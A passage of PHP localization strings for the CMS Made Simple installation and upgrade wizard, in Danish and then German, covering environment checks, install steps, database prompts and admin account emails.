$lang['fail_assets_msg'] = 'Mappen assets findes allerede. Denne applikation skriver muligvis til denne mappe for at rationalisere lokaliseringen af filerne. Du bedes venligst sikre dig, at du har taget backup';
$lang['fail_config_writable'] = 'HTTP-processen kan ikke skrive til filen config.php. Prøv venligst at ændre filens tilladelser til 777 indtil opgraderingsprocessen er gennemført';
$lang['fail_curl_extension'] = 'curl-udvidelsen blev ikke fundet. Selvom dette ikke er af afgørende betydning, så kan det medføre problemer i forhold til trediehåndsmoduler';
$lang['fail_database_support'] = 'Der blev ikke fundet nogen kompatible database drivere';
$lang['fail_file_get_contents'] = 'Funktionen file_get_contents findes enten ikke, eller også er funktionen deaktiveret. CMSMS kan ikke fortsætte (selv installationsprocessen vil sandsynligvis slå fejl)';
$lang['fail_file_uploads'] = 'Fil-upload er deaktiveret. Flere af CMSMS\' funktioner kan ikke fungere i dette miljø';
$lang['fail_func_json'] = 'json-funktionalitet blev ikke fundet';
$lang['fail_func_gzopen'] = 'gzopen-funktionalitet blev ikke fundet';
$lang['fail_func_md5'] = 'md5-funktionalitet blev ikke fundet';
$lang['fail_func_tempnam'] = 'Funktionen tempnam findes ikke. CMSMS kan ikke køre uden denne funktion';
$lang['fail_func_ziparchive'] = 'Funktionen ZipArchive blev ikke fundet. Dette kan medføre begrænset funktionalitet';
$lang['fail_ini_set'] = 'Det ser ikke ud til, at vi kan ændre ini-indstillingerne. Dette kan medføre problemer i forbindelse med trediepartsmoduler (eller ved aktivering af fejlfinding eller debug mode)';
$lang['fail_magic_quotes_runtime'] = 'Det ser ud til, at magic quotes er aktiveret i din konfiguration. Deaktiver det venligst og prøv så igen';
$lang['fail_max_execution_time'] = 'Din indstilling for max execution time er sat til %s, hvilket ikke imødekommer kravet på mindst %s. Vi anbefaler, at du øger værdien til %s eller mere';
$lang['fail_memory_limit'] = 'Hos dig er værdien for memory limit sat til %s, men mindst %s er påkrævet og %s anbefales';
$lang['fail_multibyte_support'] = 'Multibyte-understøttelse er ikke aktiveret i din konfiguration';
$lang['fail_output_buffering'] = 'Output buffering er ikke aktiveret';
$lang['fail_open_basedir'] = 'Open basedir restrictions er aktiveret. CMSMS fungerer kun, hvis dette er deaktiveret';
$lang['fail_php_version'] = 'Den version af PHP som CMSMS har adgang til er af helt afgørende betydning. Der skal som minimum være adgang til version %s, omend vi anbefaler %s eller højere. Du har version %s';
$lang['fail_post_max_size'] = 'Hos dig er værdien for post max size sat til %s, hvilket ikke imødekommer minimumskravet på %s. Værdier på %s eller mere anbefales og sikrer, at værdien overstiger værdien for upload_max_filesize';
$lang['fail_pwd_writable2'] = 'HTTP-processen skal kunne skrive til destinationsmappen (og til alle filer samt mapper derunder) for at kunne installere filerne. Vi mangler skrivetilladelser til (i hvert fald) %s';
$lang['fail_register_globals'] = 'Deaktiver venligst register globals i PHP-konfigurationen';
$lang['fail_remote_url'] = 'Vi stødte på problemer med at oprette forbindelse til remote URL. Dette vil medføre begrænsninger i forhold til visse af CMSMS\' funktioner';
$lang['fail_safe_mode'] = 'CMSMS kan ikke køre ordentligt i et miljø, hvor safe mode er aktiveret. Safe mode er forældet, da mekanismen er behæftet med fejl. Safe mode vil blive fjernet i fremtidige versioner af PHP';
$lang['fail_session_save_path_exists'] = 'Værdien af variablen for session save path er enten ugyldig eller også findes mappen ikke';
$lang['fail_session_save_path_writable'] = 'Der kan ikke skrives til mappen for session save path';
$lang['fail_session_use_cookies'] = 'Det er påkrævet, at PHP er konfigureret til at gemme en session key i en cookie';
$lang['fail_tmpfile'] = 'Systemets tmpfile()-funktion er ude af drift. Vi skal bruge funktionen til at udpakke arkivfiler. Argumentet for TMPDIR url kan gøres tilgængelig for installationen, så der kan specificeres et skrivbart direktorie. Se filen README, som burde være inkluderet i denne mappe';
$lang['fail_tmp_dirs_empty'] = 'CMSMS\'s midlertidige mapper <em>(tmp/cache og tmp/templates_c) findes og de er ikke tomme. Fjern eller tøm dem venligst';
$lang['fail_xml_functions'] = 'XML-udvidelsen blev ikke fundet. Aktiver den venligst i dit PHP-miljø';
$lang['failed'] = 'fejlet';
$lang['file_get_contents'] = 'Undersøger funktionen file_get_contents';
$lang['file_installed'] = '%s installeret';
$lang['file_uploads'] = 'Undersøger om file upload understøttes';
$lang['finished_custom_freshen_msg'] = 'Din installation er nu blevet opfrisket! Kernefilerne er blevet opdateret og der er blevet dannet en ny config-fil. Besøg venligst din hjemmeside for at sikre dig, at alt fungerer, som det skal';
$lang['finished_custom_install_msg'] = 'Færdig! Besøg venligst din hjemmeside og log ind i administrationspanelet';
$lang['finished_custom_upgrade_msg'] = 'Færdig! Besøg venligst dit CMSMS administrationspanel og din hjemmeside for at sikre dig, at alt fungerer, som det skal.<br><strong>Tip:</strong> Det er en god idé at foretage en ny backup nu.';
$lang['finished_freshen_msg'] = 'Din installation er nu blevet opfrisket! Kernefilerne er blevet opdateret og der er blevet dannet en ny config-fil. Du kan nu <a href="%s">besøge din hjemmeside</a> eller logge ind i <a href="%s">CMSMS administrationspanelet</a>.';
$lang['finished_install_msg'] = 'Vi er færdige! Du kan nu <a href="%s">besøge din hjemmeside</a> eller logge ind i <a href="%s">CMSMS administrationspanelet</a>.';
$lang['finished_upgrade_msg'] = 'Det var det! Besøg venligst <a href="%s">din hjemmeside</a> og log ind i <a href="%s">CMSMS administrationspanelset</a> for at tjekke at alt opfører sig, som det skal. Det kan også være, at du skal opgradere nogle tredjepartsmoduler.<br><strong>Tip:</strong> Husk at lave en ny backup, når du har bekræftet, at alt er, som det skal være.';
$lang['freshen'] = 'Genopfriskning eller reparation af installation';
$lang['func_json'] = 'Tjekker funktioner for json indkodning og dekodning';
$lang['func_md5'] = 'Tjekker md5-funktionalitet';
$lang['func_tempnam'] = 'Tjekker tempnam-funktionalitet';
$lang['func_gzopen'] = 'Tjekker gzopen-funktionalitet';
$lang['func_ziparchive'] = 'Tjekker ziparchive-funktionalitet';
$lang['gd_version'] = 'GD-version';
$lang['goback'] = 'Tilbage';
$lang['info_addlanguages'] = 'Vælg hvilke sprog der skal installeres (udover engelsk). <strong>Bemærk:</strong> Ikke alle oversættelser er komplette.';
$lang['info_adminaccount'] = 'Angiv venligst log ind-oplysninger til den første administrator-konto. Kontoen vil have adgang til alle funktioner i CMSMS\' administrationskonsol.';
$lang['info_advanced'] = 'Avanceret installation giver adgang til flere muligheder under installationsproceduren.';
$lang['info_dbinfo'] = 'CMS Made Simple gemmer rigtigt mange data i databasen. Det er derfor helt nødvendigt, at der er forbindelse til en database. Desuden skal den bruger, som du angiver ved log ind have ALL PRIVILEGES på den specificerene database, således at der kan dannes, slettes og rettes i tabeller, indekser og visninger';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED er et flag, som bruges i af PHPs fejlrapportering. Flaget fortæller, at der skal vises advarsler vedrørende kode, som anvender forældede teknikker. Selvom vi forsøger at sikre, at vi ikke længere anvender forældede metoder i kernefilerne, så kan der godt være nogle moduler, hvor dette ikke gælder. Vi anbefaler, at denne indstilling deaktiveres i PHP-konfigurationen';
$lang['info_errorlevel_estrict'] = 'E_STRICT er et flag, som bruges i af PHPs fejlrapportering. Flaget fortæller, at standarderne for strict coding bør respekteres. Selvom kernefilerne i CMSMS forsøger at leve op til E_STRICT-standarderne, så kan der være moduler, hvor dette ikke er tilfældet. Vi anbefaler, at denne indstilling deaktiveres i PHP-konfigurationen';
$lang['info_installcontent'] = 'Hvis intet andet er angivet, vil installationen oprette en række simple sider, typografiark og skabeloner i CMSMS. Det simple indhold indeholder uddybende information samt tips, der kan hjælpe dig med at opbygge hjemmesider i CMSMS - så det er værd at læse. Men hvis du allerede er bekendt med CMS Made Simple, kan muligheden fravælges, hvilket betyder, at der kun oprettes et minimum af skabeloner, typografiark og indholds-sider.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir er aktiveret i din PHP-konfiguration. Vi kunne ikke komme til at teste dueligheden af sessions ordentligt. Men da du er nået hertil i installations-processen, så betyder det sandsynligvis, at sessions fungerer udmærket.';
$lang['info_pwd_writable'] = 'Applikationen skal have skriveadgang til det aktuelle direktorie';
$lang['info_queryvar'] = 'Variablen query bruges internt af CMSMS til at identificere den side, som skal vises. I de fleste tilfælde skulle det ikke være nødvendigt at ændre denne indstilling.';
$lang['info_sitename'] = 'Navnet på hjemmesiden bruges i standard-skabelonerne som en del at titlen. Indtast venligst et navn på hjemmesiden, som er læsbart for mennesker';
$lang['info_timezone'] = 'Information om tidszonen er nødvendig af hensyn til tids-beregninger samt visning af dato og lokkeslæt. Vælg venligst serverens tidszone';
$lang['ini_set'] = 'Tjekker om vi kan ændre indstillinger for INI';
$lang['install'] = 'Installér';
$lang['install_attachstylesheets'] = 'Forbind typografiark med temaer';
$lang['install_backupconfig'] = 'Foretager backup af config-fil';
$lang['install_createassets'] = 'Opret struktur for \'assets\'';
$lang['install_created_index'] = 'Oprettede indekser';
$lang['install_create_tables'] = 'Opret tabeller i databasen';
$lang['install_createconfig'] = 'Dan ny config-fil';
$lang['install_createcontentpages'] = 'Opret standardiserede indholds-sider';
$lang['install_created_table'] = 'Oprettede tabeller';
$lang['install_createtablesindexes'] = 'Opretter tabeller og indekser';
$lang['install_createtmpdirs'] = 'Opret mappe til midlertidige filer';
$lang['install_creating_index'] = 'Oprettede indeks';
$lang['install_default_collections'] = 'Installer standard-samlinger';
$lang['install_defaultcontent'] = 'Installer standardiseret indhold';
$lang['install_detectlanguages'] = 'Find installerede sprog';
$lang['install_dropping_tables'] = 'Sletter tabeller';
$lang['install_dummyindexhtml'] = 'Opret dummy index.html-filer';
$lang['install_extractfiles'] = 'Udpak filer fra arkiv';
$lang['install_initevents'] = 'Opret begivenheder';
$lang['install_initsitegroups'] = 'Opret de første grupper';
$lang['install_initsiteperms'] = 'Sæt de første tilladelser';
$lang['install_initsiteprefs'] = 'Sæt de første præferencer';
$lang['install_initsiteusers'] = 'Opret første brugerkonto';
$lang['install_initsiteusertags'] = 'Første brugerdefinerede tags';
$lang['install_module'] = 'Installerer modul %s';
$lang['install_modules'] = 'Installér tilgængelige moduler';
$lang['install_passwordsalt'] = 'Sæt grundværdi for kryptering af adgangskode';
$lang['install_requireddata'] = 'Sæt første påkrævede data';
$lang['install_schema'] = 'Opret skema';
$lang['install_setschemaver'] = 'Bestem version for skema';
$lang['install_setsequence'] = 'Nulstil \'sequence\'-tabeller';
$lang['install_setsitename'] = 'Sæt hjemmesidenavn';
$lang['install_stylesheets'] = 'Opret standardiserede typografiark';
$lang['install_templates'] = 'Opret standardiserede skabeloner';
$lang['install_templatetypes'] = 'Opret standardiserede skabelontyper';
$lang['install_update_sequences'] = 'Opdatér \'sequence\'-tabeller';
$lang['install_updatehierarchy'] = 'Opdater indholdets plads i hierarki';
$lang['install_updateseq'] = 'Opdatér sekvens';
$lang['installer_ver'] = 'Installations-scriptets versionsnummer';
$lang['legend'] = 'Signaturforklaring';
$lang['magic_quotes_runtime'] = 'Sørg for at magic_quotes er deaktiveret';
$lang['max_execution_time'] = 'Afprøver max execution time for PHP-script';
$lang['meaning'] = 'Betyder at';
$lang['memory_limit'] = 'Tjekker at der er tilstrækkelig PHP memory limit';
$lang['msg_clearedcache'] = 'Nulstillede serverens cache';
$lang['msg_configsaved'] = 'Eksisterende config-fil gemt i %s';
$lang['msg_upgrade_module'] = 'Opgraderer modul';
$lang['msg_upgrademodules'] = 'Opgraderer moduler';
$lang['msg_yourvalue'] = 'Du har: %s';
$lang['multibyte_support'] = 'Tjekker understøttelse af multibyte';
$lang['next'] = 'Næste';
$lang['no'] = 'Nej';
$lang['none'] = 'Ingen';
$lang['open_basedir'] = 'Restriktioner for open_basedir';
$lang['open_basedir_session_save_path'] = 'open_basedir er aktiveret. Kan ikke teste session save path';
$lang['output_buffering'] = 'Sørger for at output buffering er aktiveret';
$lang['pass_config_writable'] = 'HTTP-processen har skriveadgang til config.php-filen';
$lang['pass_database_support'] = 'Mindst en kompatibel database-driver fundet';
$lang['pass_func_json'] = 'json-funktionalitet fundet';
$lang['pass_func_md5'] = 'md5-funktionalitet fundet';
$lang['pass_func_tempnam'] = 'Funktionen tempnam findes';
$lang['pass_multibyte_support'] = 'Understøttelse af multibyte ser ud til at være aktiveret';
$lang['pass_php_version'] = 'Den version af PHP som i øjeblikket er konfigureret lever ikke op til minimumskravene. Der kræves mindst PHP %s, omend vi anbefaler %s eller derover';
$lang['pass_pwd_writable'] = 'HTTP-processen kan skrive i destinationsmappen. Dette er nødvendigt i forhold til udpaking af filer';
$lang['password'] = 'Adgangskode';
$lang['ph_sitename'] = 'Indtast et navn på hjemmesiden';
$lang['php_version'] = 'PHP-version';
$lang['post_max_size'] = 'Tjekker maksimum antal data, der kan sendes i én forespørgsel';
$lang['prompt_addlanguages'] = 'Yderligere sprog';
$lang['prompt_createtables'] = 'Opret database-tabeller';
$lang['prompt_dbhost'] = 'Databasens værtsnavn';
$lang['prompt_dbinfo'] = 'Info om databasen';
$lang['prompt_dbname'] = 'Databasens navn';
$lang['prompt_dbpass'] = 'Adgangskode';
$lang['prompt_dbport'] = 'Portnummer';
$lang['prompt_dbprefix'] = 'Præfiks til tabelnavne i databasen';
$lang['prompt_dbtype'] = 'Databasetype';
$lang['prompt_dbuser'] = 'Brugernavn';
$lang['prompt_dir'] = 'Installationsmappe';
$lang['prompt_installcontent'] = 'Installér simpelt indhold';
$lang['prompt_queryvar'] = 'Forespørgselsvariabel';
$lang['prompt_sitename'] = 'Hjemmesidens navn';
$lang['prompt_timezone'] = 'Serverens tidszone';
$lang['pwd_writable'] = 'Mappe er skrivbar';
$lang['queue_for_upgrade'] = 'Satte modul %s (tilhører ikke kernen) i kø til opdatering i næste trin';
$lang['readme_uc'] = 'LÆS MIG';
$lang['register_globals'] = 'Sørger for at register globals er deaktiveret';
$lang['remote_url'] = 'Tjekker om vi kan oprette udgående HTTP-forbindelser';
$lang['repeatpw'] = 'Gentag adgangskode';
$lang['reset_site_preferences'] = 'Nulstil visse af hjemmesidens præferencer';
$lang['reset_user_settings'] = 'Nulstil bruger-præferencer';
$lang['retry'] = 'Prøv igen';
$lang['safe_mode'] = 'Tester sikring af at safe mode er deaktiveret';
$lang['saltpasswords'] = 'Krypteringsnøgle til adgangskoder';
$lang['select_language'] = 'Som det første vil vi bede dig om at vælge, hvilket sprog du foretrækker i nedenstående liste. Dette anvendes til at forbedre din oplevelse undervejs installationens forskellige trin, men dit sprogvalg har ingen indflydelse på din CMSMS-installation.';
$lang['send_admin_email'] = 'Send en email med administrators log ind-oplysninger';
$lang['session_capabilities'] = 'Tester ordentlig funktionalitet af session (at sessions bruger cookies, at session save path er skrivbar osv)';
$lang['session_save_path_exists'] = 'Findes session_save_path';
$lang['session_save_path_writable'] = 'Der kan skrives til session_save_path';
$lang['session_use_cookies'] = 'Sikrer at PHP-sessions anvender cookies';
$lang['sometests_failed'] = 'Vi har udført en lang række tests af dit nuværende web-miljø. Selvom vi ikke fandt nogen kritiske forhold, så anbefaler vi, at følgende ting rettes, før du fortsætter.';
$lang['step1_advanced'] = 'Avanceret installation';
$lang['step1_destdir'] = 'Vælg mappe';
$lang['step1_info_destdir'] = '<strong>Advarsel:</strong> Dette program kan installere eller opgradere flere installationer af CMS Made Simple. Det er vigtigt, at du vælger den rigtige mappe til installationen eller opgraderingen.';
$lang['step1_language'] = 'Vælg sprog';
$lang['step1_title'] = 'Vælg sprog';
$lang['step2_cmsmsfound'] = 'Der blev fundet en installation af CMS Made Simple. Det er muligt at opgradere denne installation. Dog er det vigtigt, før du fortsætter, at du sikrer dig, at du har en helt opdateret og VERIFICERET backup af alle filer og af databasen';
$lang['step2_cmsmsfoundnoupgrade'] = 'Selvom der blev fundet en installation af CMS Made Simple, så er det ikke muligt at opgradere den med denne applikation. Versionen kan være for gammel.';
$lang['step2_confirminstall'] = 'Er du sikker på, at du gerne vil installere CMS Made Simple?';
$lang['step2_confirmupgrade'] = 'Er du sikker på, at du gerne vil opgradere CMS Made Simple?';
$lang['step2_errorsamever'] = 'Den valgte mappe ser ud til at indeholde en CMSMS-installation med det samme versionsnummer som det, der er inkluderet i dette script. Hvis du fortsætter, vil installationen blive opfrisket.';
$lang['step2_errortoonew'] = 'Den valgte mappe ser ud til at indeholde en CMSMS-installation med et nyere versionsnummer end det, der er inkluderet i dette script. Det er ikke muligt at fortsætte.';
$lang['step2_info_freshen'] = 'Opfriskning af installationen indebærer, at alle kerne-filer erstattes og at konfigurationen gendannes. Du vil blive bedt om grundlæggende informationer vedrørende konfigurationen, men databasen bliver ikke berørt.';
$lang['step2_installdate'] = 'Installationen er foretaget cirka den';
$lang['step2_install_dirnotempty2'] = 'Denne mappe indeholder allerede nogle filer eller undermapper. Selvom det godt kan lade sig gøre at installere CMSMS i mappen, så kan det uforvarende komme til at medføre, at den eksisterende applikation ødelægges. Dobbelttjek venligst indholdet af denne mappe. Af reference-hensyn er nogle af filerne listet nedenfor. Du bedes venligst sikre dig, at dette er korrekt.';
$lang['step2_hdr_upgradeinfo'] = 'Info om versionen';
$lang['step2_info_upgradeinfo'] = 'Nedenfor finder du beskeder vedrørende denne udgivelse samt en liste med information om ændringer for hver udgivelse. Ved klik på knapperne herunder kan du få vist detaljeret information om, hvad der er sket af ændringer i hver version af CMS Made Simple. Der kan være yderligere instrukser eller advarsler i hver version, som kan påvirke opgraderingsprocessen.';
$lang['step2_minupgradever'] = 'Denne applikation kan ikke opgradere versioner, der er ældre end version %s. Det kan være, du er nødt til trinvist at opgradere applikationen til en nyere version ved at benytte dig af en anden metode, før du færdiggøre opgraderingsprocessen. Du bedes venligst først sikre dig, at du har taget en fuldstændig, verificeret backup uanset hvilken opgraderingsmetode, du bruger.';
$lang['step2_nocmsms'] = 'Vi fandt ikke nogen installation af CMS Made Simple i denne mappe. Det ser ud til, at dette er en ny installation';
$lang['step2_nofiles'] = 'Som ønsket vil applikationens kerne-filer ikke blive behandlet under denne proces.';
$lang['step2_passed'] = 'Bestået';
$lang['step2_pwd'] = 'Aktuel mappe';
$lang['step2_schemaver'] = 'Databasens skemaversion';
$lang['step2_version'] = 'Din version';
$lang['step3_failed'] = 'Denne pakke har udført adskillige tests af dit PHP-miljø og en eller flere af disse tests er ikke bestået. Du bliver nødt til at rette disse fejl i din konfiguration, før du kan fortsætte. Når du har rettet fejlene, så klik på "Prøv igen" nedenfor.';
$lang['step3_passed'] = 'Denne pakke har udført adskillige tests af dit PHP-miljø og alle har bestået. Dette er godt nyt! Selvom der ikke er tale om en altomfattende test, så skulle du ikke have nogen problemer med at køre kerneinstallationen af CMSMS.';
$lang['step9_removethis'] = '<strong>Advarsel</strong> Af sikkerhedsmæssige hensyn er det vigtigt, at du fjerner installations-assistenten, så den ikke kan tilgås via browseren så snart, du har verificeret, at operationen er vellykket.';
$lang['symbol'] = 'Symbol';
$lang['social_message'] = 'Det lykkedes mig at installere CMS Made Simple!';
$lang['test_failed'] = 'En påkrævet test mislykkedes';
$lang['test_passed'] = 'En test er bestået <em>(beståede tests vises kun under avanceret installation)</em>';
$lang['test_warning'] = 'En indstilling er højere end den påkrævede værdi, men lavere end den anbefalede værdi, eller...<br>Der kan være nogle valgfrie funktioner, som ikke virker.';
$lang['th_status'] = 'Status';
$lang['th_testname'] = 'Test';
$lang['th_value'] = 'Værdi';
$lang['title_error'] = 'Der er nogen i Houston, som har et problem!';
$lang['title_step2'] = 'Trin 2 - Find eksisterende software';
$lang['title_step3'] = 'Trin 3 - Tests';
$lang['title_step4'] = 'Trin 4 - Info om den basale konfiguration';
$lang['title_step5'] = 'Trin 5 - Information vedrørende administrator-konto';
$lang['title_step6'] = 'Trin 6 - Indstillinger for hjemmesiden';
$lang['title_step7'] = 'Trin 7 - Installering af applikations-filer';
$lang['title_step8'] = 'Trin 8 - Database-opgaver';
$lang['title_step9'] = 'Trin 9 - Færdiggørelse';
$lang['title_welcome'] = 'Velkommen';
$lang['title_forum'] = 'Forum med hjælp og støtte';
$lang['title_docs'] = 'Officiel manual';
$lang['title_api_docs'] = 'Officiel manual til API';
$lang['to'] = 'til';
$lang['title_share'] = 'Del dine erfaringer med dine venner.';
$lang['tmpfile'] = 'Tjekker om tmpfile() virker';
$lang['tmp_dirs_empty'] = 'Du bedes sikre dig, at temporære mapper enten er tomme eller ikke findes';
$lang['upgrade'] = 'Opgradér';
$lang['upgrade_deleteoldevents'] = 'Sletter gamle hændelser';
$lang['upgrading_schema'] = 'Opdaterer skema';
$lang['upload_max_filesize'] = 'Tjekker maksimumstørrelse for uploadede filer';
$lang['username'] = 'Brugernavn';
$lang['warn_disable_functions'] = 'Bemærk: En eller flere af de inderste dele af PHP\'s funktioner er deaktiveret. Dette kan have negativ betydning for din CMSMS-installation - særligt når det gælder tredjepartsudvidelser. Hold venligst øje med din fejl-log. De deaktiverede funktioner er:<br><br> %s';
$lang['warn_max_execution_time'] = 'Selvom du har en indstilling for max execution time på %s, som imødekommer eller overstiger minimumværdien på %s, så anbefaler vi, at du øger den til %s eller højere';
$lang['warn_memory_limit'] = 'Din indstilling for memory limit på %s ligger over minimumsværdien på %s. Vi anbefaler imidlertid værdien %s';
$lang['warn_open_basedir'] = 'I din PHP-konfiguration er open_basedir aktiveret. Selvom du godt kan fortsætte, så vil CMSMS ikke kunne understøtte installationer, når der findes open_basedir-restriktioner.';
$lang['warn_post_max_size'] = 'Hos dig er værdien for post max size sat til %s, hvilket ligger over mindstekravet på %s. Dog vil vi anbefale %s. Du bedes endvidere sikre dig, at denne værdi er højere end værdien for upload_max_filesize';
$lang['warn_tests'] = '<strong>Bemærk:</strong> alle disse tests er bestået, hvilket skulle sikre, at CMSMS fungerer, som det skal for de fleste hjemmesider. Men i takt med at dit site vokser og der tilføjes flere og flere funktioner, kan disse minimumsværdier blive utilstrækkelige. I øvrigt kan tredjeparts moduler stille yderligere krav, hvis de skal fungere efter hensigten';
$lang['warn_upload_max_filesize'] = 'Selvom indstillingen på %s er tilstrækkelig, så anbefaler vi, at du øger værdien af upload_max_filesize til mindst %s i PHP';
$lang['welcome_message'] = 'Velkommen til! Dette er CMS Made Simples automatiske installationsmekanisme. Denne pakke giver dig både mulighed for nemt og hurtigt at få bekræftet, at dit webhotel er foreneligt med CMSMS, og at installere eller opgradere til den nyeste version af CMS Made Simple.<br>Vi ved, at du vil få glæde af det.';
$lang['wizard_step1'] = 'Velkommen';
$lang['wizard_step2'] = 'Find eksisterende software';
$lang['wizard_step3'] = 'Afprøvning af kompatibilitet';
$lang['wizard_step4'] = 'Info om konfiguration';
$lang['wizard_step5'] = 'Info om administrator-konto';
$lang['wizard_step6'] = 'Indstillinger for hjemmeside';
$lang['wizard_step7'] = 'Filer';
$lang['wizard_step8'] = 'Database-opgaver';
$lang['wizard_step9'] = 'Færdiggørelse';
$lang['xml_functions'] = 'Tjekker XML-funktionalitet';
$lang['yes'] = 'Ja';
?><?php
$lang['advanced_mode'] = 'Erweiterten Modus aktivieren';
$lang['apptitle'] = 'Installations- und Aktualisierungsassistent';
$lang['available_languages'] = 'Verfügbare Sprachen';
$lang['changelog_uc'] = 'Versionshistorie';
$lang['config_writable'] = 'Suche nach beschreibbarer Konfigurationsdatei';
$lang['confirm_upgrade'] = 'Soll die Aktualisierung begonnen werden?';
$lang['curl_extension'] = 'Prüfe auf cURL-Erweiterung';
$lang['database_support'] = 'Prüfe auf kompatible Datenbanktreiber';
$lang['desc_wizard_step1'] = 'Beginn der Installation/Aktualisierung';
$lang['desc_wizard_step2'] = 'Analyse des Zielverzeichnisses, um eventuell existierende Software zu finden';
$lang['desc_wizard_step3'] = 'Prüfung, um sicherzustellen, dass alles in Ordnung ist, um die CMS-Made-Simple-Grundinstallation vorzunehmen';
$lang['desc_wizard_step5'] = 'Für Neuinstallationen bitte Daten für das Administratorkonto angeben';
$lang['desc_wizard_step6'] = 'Für Neuinstallationen bitte einige grundlegende Seitendetails angeben';
$lang['desc_wizard_step7'] = 'Dateien entpacken';
$lang['destination_directory'] = 'Zielverzeichnis';
$lang['dest_writable'] = 'Schreibberechtigung im Zielverzeichnis';
$lang['disable_functions'] = 'Deaktivierte Funktionen';
$lang['done'] = 'erledigt';
$lang['email_accountinfo_message'] = 'Ihre Installation von CMS Made Simple ist abgeschlossen. Diese E-Mail enthält vertrauliche Informationen und sollte daher an einem gesicherten Ort gespeichert werden.

Hier sind die Details der Installation:

Benutzername: %s
Kennwort: %s
Installationsverzeichnis: %s
Wurzelverzeichnis: %s';
$lang['email_accountinfo_message_exp'] = 'Herzlichen Glückwunsch, die Installation von CMS Made Simple ist vollzogen. Diese E-Mail enthält vertrauliche Informationen und sollte an einem sicheren Ort gespeichert oder nach Kenntnisnahme gelöscht werden.

Hier sind die Details der Installation:
Benutzername: %s
Kennwort: %s
Installationsverzeichnis: %s';
$lang['email_accountinfo_subject'] = 'Die Installation von CMS Made Simple war erfolgreich';
$lang['emailaccountinfo'] = 'E-Mail mit Zugangsinformationen senden';
$lang['emailaddr'] = 'E-Mail-Adresse';
$lang['error_adminacct_emailaddr'] = 'Die angegebene E-Mail-Adresse ist ungültig';
$lang['error_adminacct_password'] = 'Das angegebene Kennwort ist ungültig (muss eine Mindestlänge von sechs Zeichen haben)';
$lang['error_adminacct_repeatpw'] = 'Die eingegebenen Kennwörter stimmen nicht überein';
$lang['error_adminacct_username'] = 'Der angegebene Benutzername ist ungültig; bitte nochmal versuchen.';
$lang['error_createtable'] = 'Es war nicht möglich, eine Datenbanktabelle anzulegen; möglicherweise gibt es ein Berechtigungsproblem.';
$lang['error_dbconnect'] = 'Es konnte keine Verbindung zur Datenbank aufgebaut werden. Bitte überprüfen sie die angegebenen Verbindungsdaten.';
$lang['error_dirnotvalid'] = 'Das Verzeichnis %s existiert nicht oder hat keine Schreibberechtigung';
$lang['error_droptable'] = 'Es war nicht möglich, eine Datenbanktabelle zu löschen; möglicherweise gibt es ein Berechtigungsproblem.';
$lang['error_filenotwritable'] = 'Die Datei „%s“ konnte aufgrund fehlender Berechtigungen nicht überschrieben werden.';
$lang['error_internal'] = 'Entschuldigung, es gab einen internen Fehler (%s).';
$lang['error_invalidconfig'] = 'Es gibt einen Fehler in der Konfigurationsdatei oder diese Datei existiert nicht.';
$lang['error_invaliddbpassword'] = 'Das Datenbankkennwort enthält Zeichen, die nicht sicher gespeichert werden können.';
$lang['error_noarchive'] = 'Die Archivdatei konnte nicht gefunden werden; bitte nochmal von vorn beginnen.';
$lang['error_nlsnotfound'] = 'Die NLS-Dateien konnten nicht im Archiv gefunden werden';
$lang['error_nodestdir'] = 'Zielverzeichnis nicht angegeben';
$lang['error_sendingmail'] = 'Fehler';
$lang['errorlevel_estrict'] = 'Prüfe E_STRICT-Einstellungen';
$lang['errorlevel_edeprecated'] = 'Prüfe E_DEPRECATED-Einstellungen';
$lang['failed'] = 'fehlgeschlagen';
$lang['file_installed'] = '%s installiert';
$lang['finished_custom_install_msg'] = 'Herzlichen Glückwunsch, es ist geschafft. Bitte besuchen sie ihre Website und melden sie sich im Administrationsbereich an.';
$lang['freshen'] = 'Installation auffrischen/reparieren';
$lang['gd_version'] = 'GD-Version';
$lang['goback'] = 'Zurück';
$lang['install'] = 'Installieren';
$lang['install_backupconfig'] = 'Sicherung der Konfigurationsdatei';
$lang['install_create_tables'] = 'Erstellung von Datenbanktabellen';
$lang['install_createconfig'] = 'Erstellung einer neuen Konfigurationsdatei';
$lang['install_createcontentpages'] = 'Erstellung von Standardseiten';
$lang['install_createtmpdirs'] = 'Erstellung temporärer Verzeichnisse';
$lang['install_defaultcontent'] = 'Installation von Standardinhalten';
$lang['install_detectlanguages'] = 'Erfassung installierter Sprachen';
$lang['install_initevents'] = 'Erstellung von Ereignissen';
$lang['install_initsiteperms'] = 'Einstellung standardmäßiger Berechtigungen';
$lang['install_initsiteprefs'] = 'Einstellung standardmäßiger Seiteneinstellungen';
$lang['install_initsiteusers'] = 'Erstellung des ersten Benutzerkontos';
$lang['install_module'] = 'Installation des Moduls „%s“';
$lang['install_modules'] = 'Installation verfügbarer Module';
$lang['legend'] = 'Legende';
$lang['memory_limit'] = 'Prüfung, ob PHP-Speicherbegrenzung ausreicht';
$lang['msg_upgrade_module'] = 'Aktualisierung des Moduls „%s“';
$lang['msg_upgrademodules'] = 'Aktualisierung der Module';
$lang['next'] = 'Nächste';
$lang['no'] = 'Nein';
$lang['none'] = 'Kein';
$lang['open_basedir'] = 'Prüfung der open_basedir-Einstellung';
$lang['password'] = 'Kennwort';
$lang['php_version'] = 'PHP-Version';
$lang['prompt_addlanguages'] = 'Zusätzliche Sprachen';
$lang['prompt_dbname'] = 'Datenbankname';
$lang['prompt_dbpass'] = 'Kennwort';
$lang['prompt_dbtype'] = 'Datenbanktyp';
$lang['prompt_dbuser'] = 'Benutzername';
$lang['prompt_dir'] = 'Installationsverzeichnis';
$lang['prompt_installcontent'] = 'Beispielinhalte installieren';
$lang['prompt_timezone'] = 'Server-Zeitzone';
$lang['repeatpw'] = 'Kennwort wiederholen';
$lang['retry'] = 'nochmal versuchen';
$lang['step1_advanced'] = 'Erweiterter Modus';
$lang['step1_destdir'] = 'Verzeichnis auswählen';
$lang['step1_language'] = 'Sprache wählen';
$lang['step1_title'] = 'Sprache wählen';
$lang['step2_cmsmsfound'] = 'Eine Installation von CMS Made Simple wurde gefunden. Es ist möglich, diese Installation zu aktualisieren. Bevor Sie fortfahren, vergewissern Sie sich jedoch, dass Sie über eine aktuelle, VERIFIZIERTE Sicherung aller Dateien und der Datenbank verfügen.';
$lang['step2_info_freshen'] = 'Das Auffrischen der Installation umfasst das Ersetzen aller Kerndateien und das erneute Erstellen der Konfiguration. Sie werden nach grundlegenden Konfigurationsinformationen gefragt, die Datenbank wird jedoch nicht berührt.';
